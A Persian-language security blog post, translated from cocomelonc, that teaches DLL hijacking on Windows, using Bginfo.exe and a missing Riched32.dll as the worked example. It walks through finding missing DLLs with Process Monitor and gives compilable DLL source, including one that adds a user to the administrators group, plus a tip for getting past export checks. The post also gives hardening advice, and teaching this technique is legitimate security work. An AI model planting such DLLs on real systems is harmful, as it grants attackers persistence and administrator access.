تکنیک DLL Hijacking

در این قسمت به بررسی تکنیک DLL Hijacking میپردازیم . این تکنیک برای مقاصدی مثل ماندگاری (Persistence) ، افزایش سطح دسترسی (Privilege Escalation) و یا عبور از مکانیزم های امنیتی استفاده میشود .

DLL Hijacking چیست ؟

در یکی از پست های قبلی آمدیم و تکنیک DLL Injection را کار کردیم . اگر یادتان باشد در تزریق DLL ، یک فایل DLL حاوی کد دلخواه درست میکردیم و سپس توسط یک الگوریتم خاص و فراخوانی بعضی از توابع API آن فایل را در پروسه مقصد بارگذاری میکردیم . این باعث میشد تا تابع DllMain داخل فایل DLL اجرا شود و درنتیجه کد دلخواه ما اجرا خواهد شد .

DLL Hijacking هم نهایتا چیزی شبیه به همان تزریق DLL است . در این روش هم ما کاری میکنیم تا پروسه مقصد ما DLL دلخواه ما را بارگذاری کند و در نتیجه کد دلخواه ما را در قالب یک فایل DLL اجرا کند . برای اینکار یک فایل DLL آماده میکنیم که حاوی کد دلخواه ما در تابع DllMain آن است . سپس طوری پروسه مقصد را فریب میدهیم که فکر کند فایل DLL ما یکی از فایل های DLL است که واقعا به آن ها نیاز دارد و در نتیجه آن را بارگذاری میکند . اما چگونه ؟

هر فایل اجرایی ، به محض اجرا شدن ، احتمالا یک سری فایل DLL را برای کارکرد خودش import میکند . فرضا برنامه نویس در کد این فایل اجرایی یک فایل DLL به نام file.dll را بارگذاری کرده است . در صورتی که کدنویس نکات امنیتی را رعایت نکرده باشد و آدرس کامل فایل DLL را مشخص نکرده باشد ، مثلا فقط اسم فایل DLL مورد نظر را برای بارگذاری کردن نوشته باشد ، خود سیستم عامل ویندوز در یک سری مسیر های پیشفرض دنبال فایل DLL که برنامه نویس اسم آن را گفته است میگردد .

اگر یک فایل اجرایی بخواهد یک DLL را بارگذاری کند، مسیر هایی که در ویندوز برای پیدا کردن یک فایل DLL (صرفا بر اساس اسم آن) به ترتیب جستوجو میشود به این صورت است :

۱- مسیری که فایل اجرایی وجود دارد

۲- C:\Windows\System32

۳- C:\Windows\System

۴- C:\Windows

۵- مسیر فعلی که حین اجرای برنامه روی آن هستیم

۶- مسیر های داخل متغییر PATH سیستم (SYSTEM)

۷- مسیر های داخل متغییر PATH کاربر (USER)

هکر میتواند از این موضوع استفاده کند . در صورتی که شرایط محیا باشد ، میتواند یک فایل DLL دقیقا هم اسم با فایل DLL که یک برنامه نیاز دارد در یکی از مسیر هایی که برنامه دنبال فایل های DLL میگردد قراردهد . در این صورت اگر طبق مسیرهایی که چک میشود ، فایل DLL جعلی که هکر ساخته در اولویت باشد ، در برنامه مقصد بارگذاری میشود .

حالت ایده آل این است که برنامه اصلی به یک فایل DLL نیاز دارد و آن فایل DLL به دلایلی روی سیستم مقصد وجود ندارد . در این صورت کار هکر راحت تر است . کافی است DLL خود را در یکی از آن ۷ مسیر که معرفی کردیم به دلخواه قرار دهد .

پیدا کردن DLL هایی که وجود ندارند !

همینطور که بالاتر گفته شد ، حالت ایده آل ما این است که یک پروسه ای یک فایل DLL را بخواهد اما آن فایل DLL به دلایلی موجود نباشد . در این حالت کافی است ما یک فایل DLL هم اسم با فایل DLL اصلی حاوی کد مخرب درست کنیم و در یکی از ۷ مسیری که برنامه از آن ها DLL بارگذاری میکند قرار دهیم . در این صورت به محض اجرا شدن برنامه ، فایل DLL ما بارگذاری میشود . اما چگونه بفهمیم چه پروسه هایی به چه فایل های DLL نیاز دارن و اینکه کدام یک از آن ها وجود ندارند ؟

برای اینکار از برنامه Process Monitor استفاده میکنیم . این برنامه کاربردی میتواند در لحظه تمام درخواست هایی که پروسه های سیستم روی فایل سیستم انجام میدهند را بررسی کند و به ما نشان دهد . در این صورت با گذاشتن یک سری فیلتر ها و جستوجو بین نتایج این برنامه میتوانیم پروسه هایی که دنبال یک فایل DLL میگشتند و آن وجود نداشته است را پیدا کنیم .

برای تست این تکنیک ما از برنامه Bginfo.exe استفاده میکنیم . یعنی این برنامه هدف ما است و میخواهیم حمله DLL Hijacking را روی آن پیاده سازی کنیم . برای اینکار فیلتر های زیر را در برنامه Process Monitor تنظیم میکنیم :

در این فیلتر ابتدا مشخص کرده ایم که اسم پروسه Bginfo.exe باشد و فایلی که دنبال آن بوده با dll. تمام شود و همچنین خطای NAME NOT FOUND داده باشد . نهایتا به ما نمایش میدهد که پروسه Bginfo.exe دنبال چه فایل های DLL میگشته که وجود نداشته :

در این مورد مشخص شده است که پروسه مقصد چندین DLL را نیاز داشته ولی وجود نداشتند . مثلا Riched32.dll که در تصویر مشخص شده . ما از همین اسم DLL برای DLL Hijacking استفاده میکنیم .

مرحله بعدی این است که مشخص کنیم در کدام یک از ۷ مسیر جستوجوی DLL که در بالا معرفی شد ما دسترسی نوشتن و درنتیجه ایجاد فایل DLL داریم . اولین مورد آن مسیر خود Bginfo.exe است . از آنجایی که در این مثال فایل Bginfo.exe در مسیر Desktop قرار دارد باید بررسی کنیم ببینیم آیا در مسیر Desktop دسترسی نوشتن داریم یا نه . مطمئنا این دسترسی را در مسیر Desktop داریم ولی برای اطمینان توسط دستور زیر در cmd دسترسی های مسیر Desktop را چک میکنیم :‌

icacls C:\Users\user\Desktop\

همینطور که میبینید کاراکتر F در نتیجه وجود دارد . کاراکتر F به معنای Full Access است . پس دسترسی لازم را داریم .

اجرای DLL Hijacking

نهایتا مشخص شد که اگر ما یک فایل DLL دقیقا به اسم Riched32.dll در مسیر Desktop (جایی که فایل Bginfo.exe قرار دارد) قرار دهیم ، به محض اجرا شدن Bginfo.exe آن فایل بارگذاری میشود . پس ابتدا یک فایل DLL ساده درست میکنیم که در تابع DllMain آن فقط یک پیغام گرافیکی توسط تابع MessageBox نمایش میدهیم :

/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      MessageBox(
        NULL,
        "Meow-meow!",
        "=^..^=",
        MB_OK
      );
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

فایل را compile میکنیم :

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

سپس فایل DLL ساخته شده را به اسم Riched32.dll تغییر نام میدهیم و آن را در مسیر Desktop قرار میدهیم :

حالا اگر فایل Bginfo.exe را اجرا کنیم :

میبینیم که پیغام ما نیز نمایش داده میشود .

نهایتا به این نتیجه میرسیم که اگر میخواهیم از این نوع حملات در امان بمانیم ، بهتر است تا جایی که امکان دارد برنامه ها را در مسیر های C:\Program Files یا C:\Program Files (x86) نصب کنیم زیرا هر کاربری نمیتواند در این دو مسیر فایل بسازد . اگر این مورد امکان پذیر نبود و برنامه ها در جای دیگری غیر از این دو مسیر نصب شدند ، باید با تنظیم و پیکربندی صحیح دسترسی ها ، اجازه ندهیم هر کاربری دسترسی نوشتن و ایجاد فایل روی مسیر نصب برنامه های مورد نظر داشته باشد .

افزایش سطح دسترسی با DLL Hijacking

جالب است بدانید از این تکنیک برای افزایش دسترسی (Privilege Escalation) نیز استفاده میشود . به این صورت که فرض کنید یک پروسه ای با دسترسی بالا (مثلا یک سرویس) پیدا کرده اید که یک فایل DLL نیاز دارد اما آن فایل وجود ندارد (هورا !) . حال کافی است یک فایل DLL درست کنیم و طبق تکنیکی که شرح داده شده پروسه مقصد را وادار کنیم تا آن را بارگذاری کند . این باعث میشود تا کد دلخواه ما با دسترسی خیلی بالاتر اجرا شود . مثلا تکه کد زیر مثال خوبی برای این موضوع است :

/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      system("cmd.exe /k net localgroup administrators user /add");
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

کد بالا ، کاربر عادی user را عضو گروه administrators میکند و در نتیجه دسترسی کاربر user به شدت افزایش پیدا میکند .

حال کافی است تا این فایل DLL را compile کنیم و در یکی از ۷ مسیری که پروسه مقصد در آن ها جستوجو میکند قرار دهیم . مثلا اگر دسترسی نوشتن داریم در مسیری که فایل پروسه مقصد وجود دارد یا شاید در یکی از مسیر های داخل متغییر PATH یا …

در نتیجه اینکار ، به محض اجرا شدن پروسه مقصد ، کد ما اجرا خواهد شد و عملیات افزایش سطح دسترسی با موفقیت انجام میشود .

 

هشدار

گاهی اوقات ممکن است ما یک فایل DLL را در مسیر بارگذاری پروسه مقصد قرار بدهیم اما باز هم بارگذاری نشود . در بعضی از موقعیت ها ممکن است چک شود که آیا آن DLL که بارگذاری میشود شامل توابع مورد انتظار هست یا نه (آن ها را export کرده است یا نه) . در نتیجه اگر اینطور باشد نمیتوان یک فایل DLL خام درست کرد که فقط یک کد در DllMain آن وجود دارد چون پروسه مقصد تشخیص میدهد که این فایل توابع مورد نیازش را ندارد .

یکی از راه های حل این موضوع این است که از برنامه هایی مثل DLL Export Viewer استفاده کنیم . این برنامه لیست تمام توابعی که یک فایل export میکند را به ما نشان میدهد . میتوانیم فایل DLL که میخواهیم آن را جایگزین کنیم را توسط این برنامه بررسی کنیم و تمام توابعی که در آن وجود دارد را نیز در فایل DLL جعلی (هرچند به صورت متفاوت) پیاده سازی کنیم . این روش ممکن است گاهی اوقات کار را راه بیندازد .

 

منابع

برگرفته و ترجمه شده از یکی پست های وبلاگ cocomelonc.github.io

تصویر پست

فایل Bginfo.exe نسخه آسیب پذیر

مارا دنبال کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!
KeyLogger کیلاگر

ساخت KeyLogger با استفاده از GetAsyncKeyState

آنچه در این پست میخوانید مارا دنبال کنید یکی از روش های مرسوم و اولیه برای پیاده سازی KeyLogger ها…

بیشتر بخوانید

جاسازی Shellcode در فایل اجرایی exe

در اینجا میخواهیم ببینیم چطور میتوان یک Shellcode را در یک فایل اجرایی ویندوزی جاسازی کرد به طوری که با اجرای فایل اجرایی آلوده ، ابتدا Shellcode به صورت مخفیانه اجرا شده و سپس محتوای عادی فایل اجرایی شروع به اجرا شدن میکنند طوری که همه چیز عادی به نظر برسد .

بیشتر بخوانید
نتیجه اجرای تکنیک RWX memory Hunting

تزریق کد بوسیله تکنیک RWX-Memory Hunting

RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ،‌ به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن)‌ پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *